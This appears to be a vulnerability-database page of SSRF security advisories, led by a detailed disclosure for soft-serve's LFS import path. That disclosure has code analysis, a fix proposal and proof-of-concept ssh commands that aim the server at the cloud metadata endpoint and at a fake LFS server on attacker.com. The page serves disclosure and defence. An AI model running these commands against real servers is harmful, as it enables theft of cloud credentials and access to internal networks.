ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/

# Reading internal responses via fake LFS server
# 1. Host a server at attacker.com that responds to POST /objects/batch
#    with a valid BatchResponse containing download URLs pointing at internal targets
# 2. Import with that endpoint
ssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://attacker.com/fake-lfs/

Impact

Any authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.

Concrete impact: - Port scanning / service discovery: Confirm reachability of internal hosts via timing and error responses - Cloud credential theft: Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced - Internal API access: Read responses from internal services by routing LFS download URLs through the pipeline - Persistence: Mirror imports repeat the SSRF on every scheduled sync without further user action

Reported by Vinayak Mishra GitHub: @vnykmshr

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/soft-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T22:16:00Z",
    "nvd_published_at": "2026-03-07T16:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection \u2014 ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time \u2014 but the LFS HTTP client still uses http.DefaultClient with no filtering at all.\n\n### Summary\n\nAn authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running `repo import` with a crafted `--lfs-endpoint` URL. The initial batch request is blind (the response from a metadata endpoint won\u0027t parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.\n\n### Details\n\nThe user-controlled endpoint flows through four files with zero validation:\n\n**1. User supplies the URL via `--lfs-endpoint`** (`pkg/ssh/cmd/import.go:20-41`)\n\n```go\ncmd.Flags().StringVarP(\u0026lfsEndpoint, \"lfs-endpoint\", \"\", \"\", \"set the Git LFS endpoint\")\n```\n\nThe flag value is passed directly into `proto.RepositoryOptions{LFSEndpoint: lfsEndpoint}` at line 40 and then to `be.ImportRepository()`.\n\n**2. Access check passes for any authenticated user** (`pkg/ssh/cmd/cmd.go:172-187`, `pkg/backend/user.go:94-100`)\n\nThe import command uses `checkIfCollab` as its `PersistentPreRunE`. For a new repo name (which is normal during import -- you\u0027re creating it), `AccessLevelForUser` hits this path:\n\n```go\n// pkg/backend/user.go:94-100\nif user != nil {\n    // If the repository doesn\u0027t exist, the user has read/write access.\n    if anon \u003e access.ReadWriteAccess {\n        return anon\n    }\n\n    return access.ReadWriteAccess\n}\n```\n\nThis is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn\u0027t that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.\n\n**3. Endpoint flows to the LFS client unvalidated** (`pkg/backend/repo.go:170-194`)\n\n```go\n// pkg/backend/repo.go:170-173\nendpoint := remote\nif opts.LFSEndpoint != \"\" {\n    endpoint = opts.LFSEndpoint\n}\n```\n\nWhen `opts.LFSEndpoint` is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:\n\n```go\n// pkg/backend/repo.go:182-194\nep, err := lfs.NewEndpoint(endpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {\n```\n\n`lfs.NewEndpoint` does URL parsing only -- no SSRF validation. `lfs.NewClient` calls `newHTTPClient`.\n\n**4. HTTP client has no protection** (`pkg/lfs/http_client.go:24-31`)\n\n```go\n// pkg/lfs/http_client.go:24-31\nfunc newHTTPClient(endpoint Endpoint) *httpClient {\n    return \u0026httpClient{\n        client:   http.DefaultClient,\n        endpoint: endpoint,\n        transfers: map[string]TransferAdapter{\n            TransferBasic: \u0026BasicTransferAdapter{http.DefaultClient},\n        },\n    }\n}\n```\n\nBoth the batch client and the `BasicTransferAdapter` use `http.DefaultClient` -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:\n\n```go\n// pkg/webhook/webhook.go:42-76 -- the protected version\nvar secureHTTPClient = \u0026http.Client{\n    Timeout: 30 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n            host, _, err := net.SplitHostPort(addr)\n            // ...\n            ip := net.ParseIP(host)\n            if ip != nil {\n                if err := ValidateIPBeforeDial(ip); err != nil {\n                    return nil, fmt.Errorf(\"blocked connection to private IP: %w\", err)\n                }\n            }\n            // ...\n        },\n    },\n    CheckRedirect: func(*http.Request, []*http.Request) error {\n        return http.ErrUseLastResponse\n    },\n}\n```\n\n**How the attack chains together:**\n\n*Stage 1 -- blind SSRF:* The server sends a POST to `\u003cattacker-endpoint\u003e/objects/batch` (see `http_client.go:57`). If the endpoint is a cloud metadata service like `http://169.254.169.254/latest/meta-data/`, the response won\u0027t be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.\n\n*Stage 2 -- reading internal responses via fake LFS server:* If the attacker hosts a fake LFS server that returns valid batch responses, the `BasicTransferAdapter` follows the download URLs from the response:\n\n```go\n// pkg/lfs/basic_transfer.go:71-89\nfunc (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {\n    // ...\n    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response\n    // ...\n    res, err := a.client.Do(req)  // a.client is http.DefaultClient\n```\n\nThe `l.Href` field comes from the attacker\u0027s batch response. The `a.client` is the same unprotected `http.DefaultClient`. So the fake LFS server can point download URLs at internal targets like `http://169.254.169.254/latest/api/token` or `http://10.0.0.1:8080/admin`, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.\n\n**Mirror sync persistence:** When a repo is imported with `--lfs-endpoint`, the URL is persisted in the repo\u0027s git config at `lfs.url` (`repo.go:175`). If imported as a mirror (`--mirror`), the periodic sync job reads this config and uses the same unprotected LFS client:\n\n```go\n// pkg/jobs/mirror.go:94-111\nlfsEndpoint := rcfg.Section(\"lfs\").Option(\"url\")\nif lfsEndpoint == \"\" {\n    return\n}\n\nep, err := lfs.NewEndpoint(lfsEndpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {\n```\n\nA single `--mirror --lfs --lfs-endpoint \u003cinternal-url\u003e` import creates persistent SSRF that repeats on every mirror sync without further interaction.\n\n**Two notes:**\n\n- The batch request only fires if the imported repo contains LFS pointer blobs (checked via `SearchPointerBlobs`). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.\n- The import path in `repo.go` does not check the global `cfg.LFS.Enabled` flag -- it always processes LFS when the `--lfs` flag is passed. The mirror path (`mirror.go:87`) does gate on `cfg.LFS.Enabled`. So the import vector works regardless of server-level LFS configuration.\n\n**Protection comparison:**\n\n| Layer | Webhooks (v0.11.1+) | LFS import/mirror |\n|---|---|---|\n| URL validation at input | `ValidateWebhookURL()` | None |\n| Custom HTTP transport | `secureHTTPClient` with `ValidateIPBeforeDial` | `http.DefaultClient` |\n| Redirect blocking | `CheckRedirect` returns `http.ErrUseLastResponse` | Default (follows redirects) |\n| DNS rebinding protection | IP checked at dial time | None |\n\n**Affected versions:**\n\n- Introduced in v0.6.0 (commit `ea6b9a4` added `--lfs-endpoint` flag)\n- Still present in v0.11.3+ (current `main`)\n- Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers `pkg/webhook/`, not `pkg/lfs/`\n\n**Suggested fix:**\n\nThe existing SSRF protections in `pkg/webhook/validator.go` and `pkg/webhook/webhook.go` are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:\n\n1. Replace `http.DefaultClient` in `pkg/lfs/http_client.go` with a secure client using `ValidateIPBeforeDial` in the transport and `http.ErrUseLastResponse` in `CheckRedirect` -- matching the webhook pattern.\n2. Validate the endpoint URL in `pkg/backend/repo.go` (before `lfs.NewEndpoint`) and `pkg/jobs/mirror.go` (before creating the client) using the same checks `ValidateWebhookURL` performs.\n\nBoth layers matter -- URL validation catches the obvious cases, `ValidateIPBeforeDial` at connection time catches DNS rebinding.\n\n\n### PoC\n\nBased on code review. These haven\u0027t been run against a live instance, but the data flow from `--lfs-endpoint` to `http.DefaultClient.Do()` is straightforward:\n\n```bash\n# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)\nssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/\n\n# Reading internal responses via fake LFS server\n# 1. Host a server at attacker.com that responds to POST /objects/batch\n#    with a valid BatchResponse containing download URLs pointing at internal targets\n# 2. Import with that endpoint\nssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://attacker.com/fake-lfs/\n```\n\n### Impact\n\nAny authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.\n\nConcrete impact:\n- **Port scanning / service discovery:** Confirm reachability of internal hosts via timing and error responses\n- **Cloud credential theft:** Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced\n- **Internal API access:** Read responses from internal services by routing LFS download URLs through the pipeline\n- **Persistence:** Mirror imports repeat the SSRF on every scheduled sync without further user action\n\n\nReported by Vinayak Mishra\nGitHub: @vnykmshr",
  "id": "GHSA-3fvx-xrxq-8jvv",
  "modified": "2026-03-09T15:50:39Z",
  "published": "2026-03-06T22:16:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-3fvx-xrxq-8jvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/commit/3ef660098ab37a7950457da8ecc25b516e37ce4e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/soft-serve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "soft-serve vulnerable to SSRF via unvalidated LFS endpoint in repo import"
}

GHSA-3G3X-QRHW-J5JJ

Vulnerability from github – Published: 2024-09-10 15:31 – Updated: 2024-09-10 18:30
VLAI
Details

Loftware Spectrum (testDeviceConnection) before 5.1 allows SSRF.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-37230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-10T14:15:12Z",
    "severity": "HIGH"
  },
  "details": "Loftware Spectrum (testDeviceConnection) before 5.1 allows SSRF.",
  "id": "GHSA-3g3x-qrhw-j5jj",
  "modified": "2024-09-10T18:30:44Z",
  "published": "2024-09-10T15:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37230"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3G63-2RPP-WC2M

Vulnerability from github – Published: 2024-12-04 03:31 – Updated: 2024-12-04 03:31
VLAI
Details

A vulnerability in Veeam Service Provider Console has been identified, which allows to perform arbitrary HTTP requests to arbitrary hosts of the network and get information about internal resources.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-45206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-04T02:15:05Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Veeam Service Provider Console has been identified, which allows to perform arbitrary HTTP requests to arbitrary hosts of the network and get information about internal resources.",
  "id": "GHSA-3g63-2rpp-wc2m",
  "modified": "2024-12-04T03:31:16Z",
  "published": "2024-12-04T03:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45206"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3GF9-WV65-GWH9

Vulnerability from github – Published: 2024-11-05 00:31 – Updated: 2024-11-07 15:05
VLAI
Summary
gradio Server Side Request Forgery vulnerability
Details

In gradio <=4.42.0, the gr.DownloadButton function has a hidden server-side request forgery (SSRF) vulnerability. The reason is that within the save_url_to_cache function, there are no restrictions on the URL, which allows access to local target resources. This can lead to the download of local resources and sensitive information.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "gradio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.42.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-07T15:05:10Z",
    "nvd_published_at": "2024-11-04T23:15:04Z",
    "severity": "MODERATE"
  },
  "details": "In gradio \u003c=4.42.0, the gr.DownloadButton function has a hidden server-side request forgery (SSRF) vulnerability. The reason is that within the save_url_to_cache function, there are no restrictions on the URL, which allows access to local target resources. This can lead to the download of local resources and sensitive information.",
  "id": "GHSA-3gf9-wv65-gwh9",
  "modified": "2024-11-07T15:05:10Z",
  "published": "2024-11-05T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48052"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/AfterSnows/45ffc23797f9127e00755376cc610e12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gradio-app/gradio"
    },
    {
      "type": "WEB",
      "url": "https://rumbling-slice-eb0.notion.site/FULL-SSRF-in-gr-DownloadButton-in-gradio-app-gradio-870b21e0908b48cbafd914719ac1a4e6?pvs=4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gradio Server Side Request Forgery vulnerability"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.